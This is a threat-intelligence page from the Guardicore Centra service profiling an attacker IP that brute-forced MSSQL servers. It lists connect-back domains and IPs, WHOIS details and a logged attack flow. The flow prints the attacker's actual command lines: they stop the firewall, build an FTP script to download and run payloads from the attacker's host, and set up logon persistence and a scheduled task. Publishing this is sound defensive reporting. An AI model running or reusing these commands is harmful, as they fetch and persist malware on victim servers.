IP Address: 103.248.220.221Previously Malicious

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IP Address:
103.248.220.221​
Previously Malicious

This IP address attempted an attack on a machine protected by Guardicore Centra

Threat Information

Role

Attacker

Services Targeted

MSSQL

Tags

Create MsSql Procedure Drop MsSql Table File Operation By CMD Malicious File Create MsSql Table Scheduled Task Creation Successful MSSQL Login MSSQL Persistency - Logon Outgoing Connection Execute MsSql Shell Command Download and Execute MSSQL Brute Force Access Suspicious Domain DNS Query Service Stop CMD

Connect Back Servers

cct119.com sd9.ren

134.175.20.122 221.199.171.114 222.173.92.238 222.186.139.154 222.191.239.166 219.150.218.250 219.235.2.218 219.150.218.235 222.186.137.134 117.21.191.201 122.114.112.161

Basic Information

IP Address

103.248.220.221

Domain

-

ISP

Vanta Telecommunications Limited

Country

China

WHOIS

Created Date

2016-08-24

Updated Date

2018-10-06

Organization

XiaoGuang Zhang

First seen in Guardicore Centra

2017-01-04

Last seen in Guardicore Centra

2019-09-23

What is Guardicore Centra
Guardicore Centra is a data center and cloud security solution that protects the organization's core assets, using flexible, quickly deployed and easy to understand micro-segmentation controls. Centra generates in-context security incidents, with details on attacker tools and techniques, that help IR teams prioritize incident investigation and reduce dwell time. Learn More

Attack Flow

A user logged in using MSSQL with the following username: sa - Authentication policy: Reached Max Attempts (Part of a Brute Force Attempt)

MSSQL Brute Force Successful MSSQL Login

A user logged in using MSSQL with the following credentials: sa / ************* - Authentication policy: Previously Approved User (Part of a Brute Force Attempt) 3 times

MSSQL Brute Force Successful MSSQL Login

A user logged in using MSSQL with the following credentials: hbv7 / ****** - Authentication policy: Reached Max Attempts (Part of a Brute Force Attempt)

MSSQL Brute Force Successful MSSQL Login

A user logged in using MSSQL with the following credentials: hbv7 / ****** - Authentication policy: Previously Approved User (Part of a Brute Force Attempt) 2 times

MSSQL Brute Force Successful MSSQL Login

A user logged in using MSSQL with the following username: sa - Authentication policy: Previously Approved User (Part of a Brute Force Attempt) 3 times

MSSQL Brute Force Successful MSSQL Login

MSSQL procedures were created: sp_addextendedproc and sp_dropextendedproc

Create MsSql Procedure

c:\program files\microsoft sql server\mssql11.sqlexpress\mssql\binn\sqlservr.exe set the command line c:\windows\system32\cmd.exe /c net1 stop sharedaccess&echo open 103.248.220.221> cmd.txt&echo 123>> cmd.txt&echo 123>> cmd.txt&echo binary >> cmd.txt&echo get web7b.ini c:\RECYCLER\web7b.ini>> cmd.txt&echo bye >> cmd.txt&ftp -s:cmd.txt&p -s:cmd.txt to run using Persistency - Logon 3 times

Persistency - Logon

c:\program files\microsoft sql server\mssql11.sqlexpress\mssql\binn\sqlservr.exe set the command line c:\windows\system32\cmd.exe /c net1 stop sharedaccess&echo open 103.248.220.221> cmd.txt&echo 123>> cmd.txt&echo 123>> cmd.txt&echo binary >> cmd.txt&echo get explorer.exe c:\RECYCLER\explorer.exe>> cmd.txt&echo bye >> cmd.txt&ftp -s:cmd.txt&p -s:cmd.txt& to run using Persistency - Logon 3 times

Persistency - Logon

c:\program files\microsoft sql server\mssql11.sqlexpress\mssql\binn\sqlservr.exe set the command line C:\RECYCLER\explorer.exe to run using Persistency - Logon 3 times

Persistency - Logon

C:\Windows\System32\NewAuto.inf was identified as malicious by YARA according to rules: Suspicious Strings

Malicious File

C:\Windows\System32\logfile.txt was identified as malicious by YARA according to rules: Suspicious Strings

Malicious File

MSSQL tables were dropped: #A5B952E1 , #A0F49DC4 , #A3D10A6F , #A2DCE636 and #A1E8C1FD

Drop MsSql Table

Service CryptSvc was stopped

Service Stop

MSSQL tables were created: #temp_jobs_to_delete________________________________________________________________________________________________000000000002

Create MsSql Table

MSSQL executed 13 shell commands

Execute MsSql Shell Command

The file C:\Windows\System32\p.exe was downloaded and executed 14 times

Download and Execute

The command line C:\RECYCLER\explorer.exe was scheduled to run by modifying C:\Windows\System32\Tasks\45645

Process c:\windows\system32\ftp.exe generated outgoing network traffic to: 103.248.220.221:21 3 times

Outgoing Connection

Process c:\windows\system32\p.exe generated outgoing network traffic to: 103.248.220.221:21 3 times

Outgoing Connection

Process c:\windows\system32\p.exe attempted to access suspicious domains: cct119.com 2 times

DNS Query Access Suspicious Domain Outgoing Connection

Process c:\windows\system32\ftp.exe attempted to access suspicious domains: cct119.com 2 times

DNS Query Access Suspicious Domain Outgoing Connection

Process c:\windows\system32\p.exe generated outgoing network traffic to: 222.186.137.134:21 2 times

Outgoing Connection

Process c:\windows\system32\ftp.exe generated outgoing network traffic to: 222.186.137.134:21 2 times

Outgoing Connection

Process c:\windows\system32\ftp.exe generated outgoing network traffic to: 134.175.20.122:21 3 times

Outgoing Connection

Connection was closed due to timeout

Associated Files

C:\Windows\System32\hex1.exe

SHA256: 7e584595b2117ee2508bdb6bf2d14310b14e2a073455feb62cc162c53bb16241

81920 bytes

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IP Address: 103.248.220.221​Previously Malicious